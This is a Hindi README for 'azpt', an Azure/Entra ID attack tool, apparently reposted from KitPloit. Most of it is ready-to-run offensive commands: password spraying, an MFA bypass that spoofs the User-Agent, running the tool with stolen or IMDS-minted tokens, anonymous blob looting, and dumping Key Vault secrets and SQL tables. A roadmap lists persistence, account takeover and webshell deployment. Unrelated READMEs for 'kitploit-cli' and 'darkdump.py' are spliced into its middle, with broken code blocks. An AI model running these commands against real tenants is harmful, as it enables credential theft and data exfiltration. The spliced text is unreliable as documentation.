**चुराए गए टोकन के साथ azpt चलाना।** कोई भी प्रमाणित कमांड `az login` के बजाय `--access-token` (या `AZPT_TOKEN`) के माध्यम से पहले से प्राप्त बियरर टोकन स्वीकार करता है — MFA अंतराल (`mfa token`), एक प्रबंधित पहचान (`imds`), या फ़िशिंग से प्राप्त टोकन सीधे काम करते हैं। कई प्रदान करें (ARM, Graph, Storage) और प्रत्येक को उस API पर रूट किया जाता है जिसके ऑडियंस से यह मेल खाता है:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html

azpt में पूरी तरह से, क्लासिक पोस्ट-एक्सप्लॉइटेशन श्रृंखला:```bash

unlock via the MFA gap → ARM token

T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds

…on the compromised app host, mint the managed-identity token off IMDS:

azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity

pivot with the storage token:

azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage

root@kitploit:~
**`blob` फ़्लैग्स** (सभी `blob` सबकमांड): `--account <name>` (आवश्यक),
`--container <name>` (डिफ़ॉल्ट `$web`), `--api-version <ver>` (डिफ़ॉल्ट
`2021-08-06`; वर्शन एन्यूमरेशन के लिए ≥ `2019-12-12` होना चाहिए),
`--endpoint-suffix <suffix>` (डिफ़ॉल्ट `core.windows.net`; संप्रभु क्लाउड्स के लिए
`core.usgovcloudapi.net` / `core.chinacloudapi.cn` पर सेट करें)।

किसी भी कमांड की पूरी फ़्लैग सूची के लिए `./azpt <command> --help` चलाएँ।

---

## रेकॉनिसेंस (केवल डोमेन)

`recon` कमांड्स एक एंगेजमेंट का अग्रभाग हैं: केवल एक डोमेन नाम दिए जाने पर,
यह निर्धारित करें कि संगठन Entra ID का उपयोग करता है या नहीं, उसकी टेनेंट ID
खोजें, उसके Azure फ़ुटप्रिंट का मानचित्रण करें, और उपयोगकर्ता नामों को सत्यापित करें — यह सब **अप्रमाणित**।```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com

# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com

# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30

# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt

# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com

पासवर्ड स्प्रेइंग — spray

एक बार जब आपके पास वैध उपयोगकर्ता नाम और एक संभावित पासवर्ड हो (जैसे किसी ब्रीच कॉर्पस से), तो उसे परखें। यह कई उपयोगकर्ताओं पर एक एकल पासवर्ड है (एक स्प्रे, न कि प्रति-उपयोगकर्ता ब्रूट फोर्स जो खातों को लॉक कर दे), लेकिन यह फिर भी शोरगुल वाला है और लॉकआउट तथा अलर्ट ट्रिगर कर सकता है।```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm

root@kitploit:~
`--confirm` अनिवार्य है — इसे छोड़ें और कमांड चलने से मना कर देता है। परिणामों को
वर्गीकृत किया जाता है: valid, valid-but-MFA-required, disabled, locked (रुकें!), या invalid।
जो कोड केवल पासवर्ड सत्यापित होने के *बाद* आते हैं (MFA, expired, CA) उन्हें
**valid credentials** के रूप में रिपोर्ट किया जाता है।

> ⚠️ पासवर्ड स्प्रेइंग एक अंतर्वेधी, पता लगाने योग्य तकनीक है। इसे केवल उन
> टेनेंट्स के विरुद्ध चलाएँ जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है।

### MFA-प्रवर्तन अंतराल — `mfa`

आपके पास किसी उपयोगकर्ता के लिए **valid credentials** हैं लेकिन Azure Portal MFA मांगता है।
Conditional Access नीतियाँ अक्सर *resource*, *client app*,
और *device platform* (जिसे Entra `User-Agent` से प्राप्त करता है) द्वारा स्कोप की जाती हैं। यदि कोई नीति
केवल तब MFA की मांग करती है जब कोई अनुरोध उन शर्तों में से किसी एक से मेल खाता है, तो एक अनुरोध जो
**किसी से भी** मेल नहीं खाता — जैसे कि एक असामान्य device-platform User-Agent — **बिना किसी MFA के** टोकन प्राप्त कर सकता है। यह
[FindMeAccess](https://github.com/absolomb/FindMeAccess) के समान तकनीक है, जो ROPC फ़्लो का उपयोग करती है।```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm

| -s | --server | Server URL (default: http://localhost:8080) | | -t | --token | API token for authentication | | -o | --output | Output format: json, yaml, table (default: table) | | -v | --verbose | Enable verbose output | | -q | --quiet | Suppress non-essential output | | | | Show help message | | | | Show version information |

उदाहरण

सभी स्कैन की सूची बनाएं

root@kitploit:~
kitploit-cli scan list

एक नया स्कैन शुरू करें

root@kitploit:~
kitploit-cli scan start --target https://example.com --profile full

स्कैन की स्थिति जांचें

root@kitploit:~
kitploit-cli scan status --id abc123

JSON प्रारूप में परिणाम निर्यात करें

root@kitploit:~
kitploit-cli scan results --id abc123 --output json > results.json

API टोकन कॉन्फ़िगर करें

root@kitploit:~
kitploit-cli config set token YOUR_API_TOKEN

वर्तमान कॉन्फ़िगरेशन देखें

root@kitploit:~
kitploit-cli config show

कॉन्फ़िगरेशन फ़ाइल

CLI कॉन्फ़िगरेशन को निम्न स्थान पर संग्रहीत करता है:

  • Linux/macOS: ~/.config/kitploit/config.yaml
  • Windows: %APPDATA%\kitploit\config.yaml

कॉन्फ़िगरेशन फ़ाइल का उदाहरण:

root@kitploit:~
server: http://localhost:8080
token: your-api-token-here
output: table
verbose: false
timeout: 30

पर्यावरण चर

निम्नलिखित पर्यावरण चर का उपयोग कॉन्फ़िगरेशन फ़ाइल को ओवरराइड करने के लिए किया जा सकता है:

चरविवरण
KITPLOIT_SERVERसर्वर URL
KITPLOIT_TOKENAPI टोकन
KITPLOIT_OUTPUTआउटपुट प्रारूप

त्रुटि प्रबंधन

CLI विभिन्न त्रुटि स्थितियों को संभालता है और उपयुक्त एग्ज़िट कोड लौटाता है:

त्रुटि संदेश विस्तृत जानकारी प्रदान करते हैं और सुझाव देते हैं कि समस्या का समाधान कैसे किया जाए। विस्तृत त्रुटि जानकारी के लिए --verbose ध्वज का उपयोग करें।

स्क्रिप्टिंग

CLI को शेल स्क्रिप्ट में एकीकृत करने के लिए डिज़ाइन किया गया है। उदाहरण:

root@kitploit:~
#!/bin/bash

# सभी स्कैन प्राप्त करें और उन्हें संसाधित करें
kitploit-cli scan list --output json | jq -r '.[] | .id' | while read scan_id; do
    echo "Processing scan: $scan_id"
    kitploit-cli scan results --id "$scan_id" --output json > "results_${scan_id}.json"
done

योगदान

योगदान का स्वागत है! कृपया सुनिश्चित करें कि आपने पहले योगदान दिशानिर्देशों को पढ़ लिया है।

  1. रिपॉजिटरी को फोर्क करें
  2. एक फीचर ब्रांच बनाएं (git checkout -b feature/amazing-feature)
  3. अपने परिवर्तन कमिट करें (git commit -m 'Add some amazing feature')
  4. ब्रांच पर पुश करें (git push origin feature/amazing-feature)
  5. एक पुल रिक्वेस्ट खोलें

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

आभार

  • उन सभी योगदानकर्ताओं को धन्यवाद जिन्होंने इस प्रोजेक्ट को संभव बनाया
  • Shields.io को बैज के लिए धन्यवाद
  • Choose an Open Source License को लाइसेंस मार्गदर्शन के लिए धन्यवाद

संपर्क

  • लेखक: Kitploit Team
  • ईमेल: [email protected]
  • वेबसाइट: https://www.kitploit.com
  • GitHub: https://github.com/kitploit

नोट: यह टूल केवल शैक्षिक और नैतिक सुरक्षा परीक्षण उद्देश्यों के लिए है। किसी भी प्रणाली का परीक्षण करने से पहले हमेशा उचित अनुमति प्राप्त करें।``` [·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced) [·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced) [+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge ... OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked

[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"

root@kitploit:~
यहाँ का अंतर एक डिवाइस-प्लेटफ़ॉर्म शर्त है जहाँ *सभी* प्लेटफ़ॉर्म चुने गए हैं —
जो सुरक्षित दिखता है, लेकिन मूल्यांकन MFA को केवल तब लागू करता है जब User-Agent
उनमें से **किसी एक से मेल खाता** हो। जो User-Agent किसी से भी मेल नहीं खाता (एक PlayStation 5, या एक बनाई हुई
स्ट्रिंग) उसे पहुँच दे दी जाती है। अब एक उपयोगी टोकन लें और इसमें प्रवेश करें:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
    -r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
#   Connect-AzAccount -AccessToken $t -AccountId "j.doe"

-r / -c या तो पूर्ण URL / app-ID या एक संक्षिप्त नाम (storage, graph, keyvault; cli, office, teams) स्वीकार करते हैं। उसी तरह एक Storage टोकन प्राप्त करें ताकि उस blob डेटा तक पहुँचा जा सके जहाँ ARM टोकन नहीं पहुँच सकता:```bash ./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm

root@kitploit:~
`--confirm` अनिवार्य है। ROPC वास्तविक क्रेडेंशियल्स को टोकन एंडपॉइंट पर भेजता है, इसलिए बार-बार प्रयास खाते को लॉक कर सकते हैं और साइन-इन अलर्ट बढ़ा सकते हैं — स्वीप **चरणबद्ध** है (बेसलाइन, फिर User-Agents, फिर `--full` हर क्लाइंट और रिसोर्स तक विस्तारित होता है) ताकि अनुरोध संख्या कम रहे, और `--delay <ms>` इसे थ्रॉटल करता है।

> ⚠️ ROPC-आधारित MFA परीक्षण घुसपैठिया है और लॉग किया जाता है (यह Entra साइन-इन लॉग्स में ROPC प्रमाणीकरण के रूप में दिखाई देता है)। केवल अधिकृत एंगेजमेंट के लिए।

## वॉकथ्रू: अनाम blob हमला

यह प्रमुख वर्कफ़्लो है: Azure Blob स्टोरेज से होस्ट की गई स्टैटिक वेबसाइट को **शून्य क्रेडेंशियल्स** के साथ कंप्रोमाइज़ करना। अनाम *लिस्टिंग* तब काम करती है जब किसी कंटेनर का सार्वजनिक एक्सेस लेवल `Container` पर सेट हो; *वर्शन एन्यूमरेशन* के लिए अतिरिक्त रूप से खाते पर blob वर्शनिंग सक्षम होना आवश्यक है।

प्रत्येक चरण की गहन व्याख्या और यह क्यों काम करता है, इसके लिए देखें
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md)।```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
#    -> HTTP 200  accessible=true

# 2. List the $web container (the default). Note the "versioning:" line —
#    if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite

# 3. Enumerate versions. This surfaces files removed from the live site,
#    e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite

# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
    --version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip

# 5. Inspect the loot.
unzip loot.zip

वन-शॉट: blob hunt

hunt चरण 1–4 को स्वचालित करता है: यह सामान्य कंटेनर नामों की एक सूची की जाँच करता है, और प्रत्येक ऐसे कंटेनर के लिए जिसे अनाम रूप से सूचीबद्ध किया जा सकता है, यह संस्करणों की गणना करता है और प्रत्येक रहस्य-युक्त फ़ाइल को एक फाइंडिंग के रूप में रिपोर्ट करता है।```bash ./azpt blob hunt --account acmewebsite

root@kitploit:~
| `--list` | List all available modules |
| `--module <name>` | Run a specific module |
| `--output <file>` | Save results to a file |
| `--verbose` | Enable verbose output |
| `--threads <n>` | Number of concurrent threads |
| `--timeout <sec>` | Request timeout in seconds |
| `--proxy <url>` | Use a proxy for requests |
| `--user-agent <string>` | Set a custom User-Agent header |
| `--no-color` | Disable colored output |

### Examples

```bash
# Run all modules against a target
python3 darkdump.py -d example.com

# Run a specific module
python3 darkdump.py -d example.com --module dns

# Save output to a file
python3 darkdump.py -d example.com --output results.txt

# Use a proxy and custom User-Agent
python3 darkdump.py -d example.com --proxy http://127.0.0.1:8080 --user-agent "Mozilla/5.0"

Available Modules

Output Format

Results are displayed in a structured format:

root@kitploit:~
[+] Target: example.com
[+] Module: dns
[+] Status: completed
[+] Findings:
    - A record: 93.184.216.34
    - MX record: mail.example.com
    - NS record: ns1.example.com

Disclaimer

This tool is intended for authorized security testing and educational purposes only. The authors are not responsible for any misuse or damage caused by this tool. Always obtain proper authorization before testing any system you do not own.``` account acmewebsite — anonymously listable containers: [$web]

SEVERITY CATEGORY TITLE RESOURCE HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip MEDIUM blob-anon Container allows anonymous listing $web MEDIUM blob-anon Historical blob versions anonymously retrievable $web LOW blob-anon Blob versioning is enabled $web

root@kitploit:~
**कस्टम कंटेनर सूची** — अंतर्निहित वर्डलिस्ट को ओवरराइड करें:```bash
./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'

कस्टम डिटेक्शन पैटर्न — --pattern केस-असंवेदनशील रेगेक्स लेता है (दोहराने योग्य)। इन्हें बिल्ट-इन से पहले जाँचा जाता है और HIGH के रूप में चिह्नित किया जाता है, इसलिए ये डिफ़ॉल्ट वर्गीकरण से ऊपर हो सकते हैं:```bash ./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'

root@kitploit:~
किसी विशिष्ट लक्ष्य के बारे में कुछ भी हार्डकोडेड नहीं है — अंतर्निहित डिटेक्शन लीक-योग्य फ़ाइलों की *कक्षाओं* पर regexes का एक सेट है (देखें [Findings](#findings))।

---

## प्रमाणित लूटिंग

एक बार जब आपके पास क्रेडेंशियल्स हो जाते हैं, तो दो वर्कफ़्लो सबसे अधिक मायने रखते हैं: यह समझना कि पहचान क्या कर सकती है, और सीक्रेट्स तक पहुंचना।

### यह पहचान क्या कर सकती है? — `enum access`

एक कमांड उत्तर को समेकित करता है, उस टोकन का उपयोग करते हुए जिससे आप पहले से लॉग इन हैं:```bash
./azpt enum access

यह रिपोर्ट करता है, अनुभागों में:

  • Identity — उपयोगकर्ता/ऐप + ऑब्जेक्ट ID + टेनेंट (टोकन से डिकोड किया गया)
  • Graph delegated scopes / app roles — कौन-सी डायरेक्टरी कॉल सफल होंगी
  • Directory roles — जैसे Global Administrator यहाँ उभर कर आता है
  • Group memberships — /me/memberOf से
  • Azure RBAC role assignments — भूमिका का नाम + स्कोप, प्रति सदस्यता

जिन अनुभागों के लिए आपके पास अनुमति नहीं है, वे पूरे कमांड को विफल करने के बजाय NOTES के अंतर्गत सूचीबद्ध होते हैं। RBAC भूमिका असाइनमेंट assignedTo() फ़िल्टर का उपयोग करते हैं, इसलिए समूह-विरासत में मिली भूमिकाएँ शामिल होती हैं, न कि केवल सीधे-असाइन की गई भूमिकाएँ।

Attack-path graph — scan

सबसे प्रमुख: scan लॉग-इन किए गए प्रिंसिपल की संपूर्ण प्रभावी पहुँच — समूह, डायरेक्टरी भूमिकाएँ, RBAC असाइनमेंट, स्कोप, और संसाधन — की गणना करता है और एक BloodHound-शैली का attack graph बनाता है। यह उच्च-मूल्य लक्ष्यों (Key Vaults, storage, SQL, web apps, VMs) को चिह्नित करता है, प्रत्येक भूमिका को उपयोगकर्ता या उस विशिष्ट समूह जो इसे प्रदान करता है के लिए एट्रिब्यूट करता है, और प्रत्येक को शोषण करने के लिए सटीक azpt कमांड के साथ स्कोर किए गए attack paths निकालता है।```bash ./azpt scan # text summary: paths ranked by value ./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser) ./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ... ./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)

root@kitploit:~
`--html` आउटपुट एक **स्व-निहित**, डार्क-थीम वाला इंटरैक्टिव अटैक मैप है
(कोई बाहरी निर्भरता नहीं, पूरी तरह ऑफ़लाइन काम करता है) जो हर नोड को उसके
वास्तविक **Azure सेवा आइकन** के साथ प्रस्तुत करता है। इसमें शामिल हैं:

- ज़ूम/पैन, एक मिनीमैप, स्कोप "ज़ोन", एक
  लाइट/डार्क टॉगल, और PNG/JSON निर्यात के साथ एक **फ़ोर्स-डायरेक्टेड ग्राफ़**;
- एक टैब्ड साइड पैनल — **Attack Paths** (गंभीरता के अनुसार समूहीकृत, प्रत्येक पथ के लिए एक कॉपी करने योग्य
  एक्सप्लॉइट कमांड के साथ), एक **Overview** जो प्रिंसिपल की पूरी
  प्रभावी पहुँच को डंप करता है (रिसोर्स/हाई-वैल्यू काउंट और स्टेट के साथ सब्सक्रिप्शन,
  डायरेक्टरी रोल, ग्रुप मेंबरशिप, और हर RBAC असाइनमेंट), टेनेंट के यूज़र्स / ग्रुप / सर्विस प्रिंसिपल्स का एक **Directory**
  डंप (जब प्रिंसिपल Graph पढ़ सकता है — जैसे *Directory Readers* रोल — एक लाइव फ़िल्टर के साथ),
  जहाँ किसी भी ऑब्जेक्ट पर क्लिक करने से उसकी विशेषताओं का **ड्रिल-डाउन** खुलता है और आप उसे
  **ग्राफ़ पर पिन कर सकते हैं** या **किसी ग्रुप/रोल को उसके सदस्यों तक विस्तारित कर सकते हैं**, सेवा प्रकार के अनुसार समूहीकृत एक
  **Resources** इन्वेंटरी, पहले से बनी **Queries** (Key Vaults / Storage / SQL तक पहुँचें, Owner·Contributor·data-plane·कस्टम
  रोल की गणना करें, आदि), और एक **Legend**;

मेंबरशिप संबंध (कौन किस ग्रुप/रोल में है) केवल
`scan --deep` के साथ एकत्र किए जाते हैं, जो इसके अतिरिक्त ग्रुप और डायरेक्टरी-रोल सदस्यों की गणना करता है ताकि
वेब ऐप identity → group → access चेन को प्लॉट कर सके:```bash
./azpt scan --deep --html graph.html   # slower; enables expanding identities on the graph
  • किसी पथ पर क्लिक करें या उसके मार्ग को हाइलाइट करने और बाकी सब कुछ धुंधला करने के लिए क्वेरी चलाएँ, और किसी भी नोड पर क्लिक करके उसके इनबाउंड/आउटबाउंड संबंधों का विवरण कार्ड देखें।

उदाहरण टेक्स्ट आउटपुट:``` OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths

[1] score 70 — Customer Database Access on "mbt-finance" → query databases → member of group "CUSTOMER-DATABASE-ACCESS" → holds "Customer Database Access" on RG content-static-2 → which contains Azure SQL server "mbt-finance" (query databases) exploit: azpt sql databases --server

root@kitploit:~
### Key Vault — `vault`

एक Key Vault **secrets, keys, और certificates** रखता है। `enum resources` (ARM) के माध्यम से एक vault दिखना **data-plane access** को नहीं दर्शाता — इसकी सामग्री पढ़ने के लिए एक Key Vault access policy (Get/List) या *Key Vault Secrets User* RBAC role की आवश्यकता होती है। इसके बिना आपको `403 Forbidden` मिलता है, जो एक उपयोगी संकेत है।```bash
# Full inventory: secrets, keys, and certificate names (no values)
./azpt vault list --vault ext-contractors

# Read one secret value
./azpt vault get --vault ext-contractors --secret db-connection-string

# Dump every secret value (the loot); redirect to a file with --json
./azpt vault dump --vault ext-contractors
./azpt --json vault dump --vault ext-contractors > vault-loot.json

vault list प्रत्येक content type को स्वतंत्र रूप से रिपोर्ट करता है, इसलिए ऐसा vault जहाँ आप secrets को list कर सकते हैं लेकिन keys को नहीं, फिर भी दिखाता है कि आप क्या देख सकते हैं — और यह ठीक-ठीक बताता है कि आपके पास कौन-सी data-plane permissions हैं। किसी certificate की private key अक्सर vault get --secret <cert-name> के माध्यम से प्राप्त की जा सकती है, क्योंकि Key Vault इसे उसी नाम के secret के माध्यम से उजागर करता है।

sovereign clouds या किसी असामान्य endpoint के लिए, --vault के बजाय --vault-url पास करें।

Azure SQL — sql

Azure SQL databases को enumerate और query करें। दो auth modes:

  • Entra ID token (default) — आपके वर्तमान credential का उपयोग करता है। यह तब काम करता है जब server में Entra ID admin हो और आपका principal एक mapped database user हो।
  • SQL login (--user/--password) — इसकी आवश्यकता तब होती है जब server में Entra ID admin न हो (आपको token path पर Login failed ... not currently configured to accept this token दिखेगा)। कहीं और से प्राप्त किए गए credentials — जैसे Key Vault secrets — यहाँ आज़माएँ।```bash

Entra ID auth

./azpt sql databases --server mbt-finance ./azpt sql tables --server mbt-finance --database Finance ./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables" ./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50

SQL login (recovered creds)

./azpt sql databases --server mbt-finance -U alissa-suarez -P ''

root@kitploit:~
सर्वर फ़ायरवॉल को किसी भी तरह से आपके स्रोत IP की अनुमति देनी चाहिए। `dump` में तालिका नामों को उपयोग से पहले सादे पहचानकर्ताओं के रूप में मान्य किया जाता है (उन्हें T-SQL में पैरामीटराइज़ नहीं किया जा सकता), इसलिए `--table` के माध्यम से इंजेक्शन संभव नहीं है। `sql query` **डिफ़ॉल्ट रूप से केवल-पढ़ने योग्य** है — DROP/DELETE/UPDATE/EXEC/xp_cmdshell और अन्य परिवर्तनकारी कथनों को तब तक अस्वीकार कर दिया जाता है जब तक कि `--allow-write` पास न किया जाए, इसलिए एक अधिकृत मूल्यांकन गलती से डेटा नष्ट नहीं कर सकता।

### प्रमाणित स्टोरेज — `storage`

अनाम `blob` कमांडों का **प्रमाणित** समकक्ष: ब्लॉब कंटेनरों/ब्लॉब्स **और Storage Tables** तक पहुँचने के लिए आपके Entra ID क्रेडेंशियल का उपयोग करता है (जो `az storage ... --auth-mode login` के बराबर है)। इसके लिए *Storage Blob Data Reader* या *Storage Table Data Reader* जैसी डेटा-प्लेन भूमिका आवश्यक है — `enum resources` (कंट्रोल प्लेन) के माध्यम से खाता दिखना इसे प्रदान नहीं करता; `403` का अर्थ है कि आपके पास डेटा भूमिका नहीं है।```bash
# Blobs
./azpt storage containers --account custdatabase
./azpt storage blobs      --account custdatabase --container backups
./azpt storage download   --account custdatabase --container backups --blob db.bacpac -o db.bacpac

# Storage Tables (often overlooked — can hold raw records)
./azpt storage tables   --account custdatabase
./azpt storage entities --account custdatabase --table customers
./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100

blob बनाम storage: blob बाहरी, अनधिकृत हमलावर दृश्य है (अनाम लिस्टिंग, संस्करण गणना); storage प्रमाणित दृश्य है एक बार जब आपके पास क्रेडेंशियल हो। अलग-अलग खतरा मॉडल, दोनों शामिल हैं।

निष्कर्ष

निष्कर्षों में एक स्थिर ID, गंभीरता, साक्ष्य और उपचार होता है। विवरण और समाधान के साथ पूरी सूची docs/findings.md में है। सारांश:

STOR-* (प्रमाणित ऑडिट) और BLOB-* (अनाम) एक ही सिक्के के दो पहलू हैं: STOR-001 कहता है "सार्वजनिक पहुंच कॉन्फ़िगर की गई है"; BLOB-001 इसे बाहर से कंटेनर को वास्तव में सूचीबद्ध करके साबित करता है।


आउटपुट प्रारूप

डिफ़ॉल्ट रूप से मानव-पठनीय तालिकाएँ; jq के लिए उपयुक्त संरचित आउटपुट या रिपोर्ट पाइपलाइन में अंतर्ग्रहण के लिए वैश्विक --json ध्वज जोड़ें:```bash ./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")' ./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json

root@kitploit:~
निष्कर्ष तालिका आउटपुट में सबसे गंभीर पहले क्रमबद्ध किए जाते हैं।

---

## आर्किटेक्चर```
main.go
internal/
  recon/    unauthenticated outsider recon: realm, tenant, DNS posture,
            subdomain enum (wildcard-aware), user enum, password spray
  scan/     attack-path graph builder + self-contained Azure-themed HTML viz
  azauth/   credential chain, raw token acquisition (ARM + Graph), JWT claims
  azure/    SDK wrappers: subscriptions, resources, storage audit + data plane
            (blobs/tables), key vault, RBAC
  azsql/    Azure SQL client (Entra ID token or SQL login) — query/dump
  graph/    Microsoft Graph REST client (users, groups, SPs, apps, memberOf)
  blob/     anonymous Blob REST client (list/versions/download) + secret classifier
  audit/    pure detection rules over resource views -> findings
  model/    shared types: Resource, Finding, Severity, Report
  output/   JSON + human-readable table rendering
  cli/      cobra command tree, shared bootstrap()

डिज़ाइन सिद्धांत:

  • डिटेक्शन I/O से अलग (decoupled) है। ऑडिट नियम और blob secret क्लासिफायर flattened views पर शुद्ध फ़ंक्शन हैं, इसलिए वे बिना किसी नेटवर्क एक्सेस के यूनिट-टेस्ट होते हैं।
  • सब कुछ एक model.Finding बन जाता है। Authenticated और anonymous मॉड्यूल एक ही टाइप में emit करते हैं, इसलिए --json और भविष्य की रिपोर्ट उन्हें समान रूप से संभालती हैं।
  • जहाँ संभव हो वहाँ डिफ़ॉल्ट रूप से anonymous। blob क्लाइंट raw Blob REST API बोलता है और कभी credential नहीं बनाता।

डेवलपमेंट```bash

go build ./... # compile everything go test ./... # run unit tests (no Azure connection required) go vet ./... # static checks gofmt -l . # list files needing formatting (should be empty)

root@kitploit:~
The blob client's tests वास्तविक request-building और XML-parsing path को एक local `httptest` server के विरुद्ध exercise करते हैं, जिसमें version enumeration, pagination, और `403 PublicAccessNotPermitted` case शामिल हैं — किसी live storage account की आवश्यकता नहीं।

---

## Roadmap

- [x] Outsider recon (केवल domain): realm, tenant ID, DNS posture, subdomains
- [x] User enumeration + password spraying (Entra ID)
- [x] MFA-enforcement gap auditing (resources/clients/User-Agents में ROPC)
- [x] Token-driven auth: `--access-token` / `AZPT_TOKEN` + FOCI refresh redemption
- [x] IMDS के माध्यम से managed-identity token grabbing (VM + App Service endpoints)
- [x] App Service looting: app settings, connection strings, Kudu creds
- [x] gap flags के साथ Conditional Access policy enumeration (`enum ca`)
- [x] Enumeration (ARM): subscriptions, resources
- [x] Enumeration (Graph): users, groups, service principals, apps, org, whoami
- [x] Access review: `enum access` — token scopes, directory roles, groups, RBAC
- [x] Secrets: Key Vault — secrets/keys/certs list करें, secret values read + dump करें
- [x] Data access: Azure SQL — Entra ID या SQL auth, list/query/dump
- [x] Data access: authenticated storage — blobs + Storage Tables
- [x] Audit: storage accounts
- [x] Anonymous blob attacks: check, list, version enumeration, hunt, download
- [ ] Graph: group-inherited RBAC expansion (privesc groundwork)
- [x] Anonymous storage-account / container brute-forcing (`blob brute`)
- [x] Dangling-DNS subdomain-takeover checks (`recon takeover`)
- [x] Audit: NSG internet exposure + public IPs (`audit network`)
- [x] Audit: Key Vault public access / purge / policies + RBAC hygiene (`audit keyvault`/`rbac`)
- [x] Secrets: storage keys/SAS, automation runbooks/vars, deployment history, VM RunCommand
- [x] `scan`: BloodHound-style attack-path graph (text + JSON + HTML) जो Entra ID (groups/roles) को ARM RBAC + resources के साथ जोड़ता है
- [x] Correctness: ARM/Graph nextLink pagination, 429/Retry-After backoff, sovereign clouds (`--cloud`)
- [x] Entra loot: Windows LAPS & BitLocker key retrieval, OAuth-grant (illicit-consent) enum
- [x] `token decode` utility (claims + wids→directory-role mapping)
- [x] ARM elevate-access (Global Admin → tenant-root User Access Administrator)
- [x] Entra persistence writes: add member/owner, consent grant, guest invite, TAP creation
- [x] Self-joinable dynamic-group paths को `scan` privesc graph में wired किया गया
- [x] AADInternals-depth outsider recon (`recon tenantinfo`: federation / Seamless SSO / on-prem sync)
- [x] Stale/risky-identity hunt (`enum risky`); Intune device enum + script-push RCE (`intune`)
- [x] Persistence: app+SP+secret create करें, password reset करें (account takeover)
- [x] BloodHound CE OpenGraph export (`scan --bloodhound`)
- [x] `scan` में Entra + ARM privilege-escalation graph (owned SP/app/group → Global Admin)
- [x] Data-plane content: storage queue peek, file-share files
- [x] Entra privilege escalation: dangerous Graph app-role enum + app/SP credential abuse
- [x] Privileged directory-role + PIM-eligible enumeration
- [x] Resource loot: Function keys, disk/snapshot export, APIM, Logic Apps, Data Factory
- [x] Data-plane breadth: storage file shares/queues; M365 mail/OneDrive/SharePoint
- [x] Service breadth: AKS (cluster-admin kubeconfig), Cosmos/ACR/Redis/ServiceBus/EventHub/Cognitive/Batch/AppConfig key loot
- [x] Web app में interactive transitive group-chain expansion (recursive `--deep`)
- [x] Device-code phishing flow (`mfa devicecode`)
- [x] scan web app में Findings/MFA surfaced (`scan --audit` → Findings tab)
- [x] role-definition actions/dataActions के माध्यम से Custom-role dangerous-action detection
- [x] Administrative Unit enumeration और AU-scoped role abuse (dynamic groups के साथ chained → score 80)
- [x] Dynamic group abuse के लिए User profile update (`entra update-profile`)
- [x] SAS-token blob container listing (`blob containers --sas`)
- [x] Recon के लिए Username pattern generation (`recon users --first --last --domain`)
- [x] Cosmos DB data-plane access (list/dump/table)
- [x] Container App loot, exec, और managed-identity token theft
- [x] IoT Hub keys, device registry, और direct-method RCE
- [x] Recovery Services backup restore (offline disk exfil)
- [x] PostgreSQL/MySQL server enumeration और query
- [x] Managed identity mapping (`enum identities`), Lighthouse delegations, public IPs
- [x] `scan --loot` deep scan: Function App keys, AKS kubeconfig, LAPS passwords, BitLocker keys, APIM secrets, DB firewall rules, disk snapshots, custom RBAC wildcard roles, stale SP credentials, Logic App definitions
- [x] Certificate-based service principal auth (`--certificate` PFX/PEM)
- [x] webshell deployment के लिए Kudu VFS file upload (`webapp deploy`)
- [x] VM extensions listing (Custom Script Extension credential leakage)
